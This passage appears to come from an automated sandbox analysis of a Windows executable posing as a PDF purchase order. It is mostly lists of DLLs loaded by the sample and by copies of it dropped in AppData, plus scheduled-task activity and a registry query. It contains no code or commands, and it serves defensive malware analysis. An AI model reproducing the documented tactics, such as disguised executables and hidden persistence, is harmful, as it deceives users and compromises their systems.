Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Section loaded: windowscodecs.dll

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

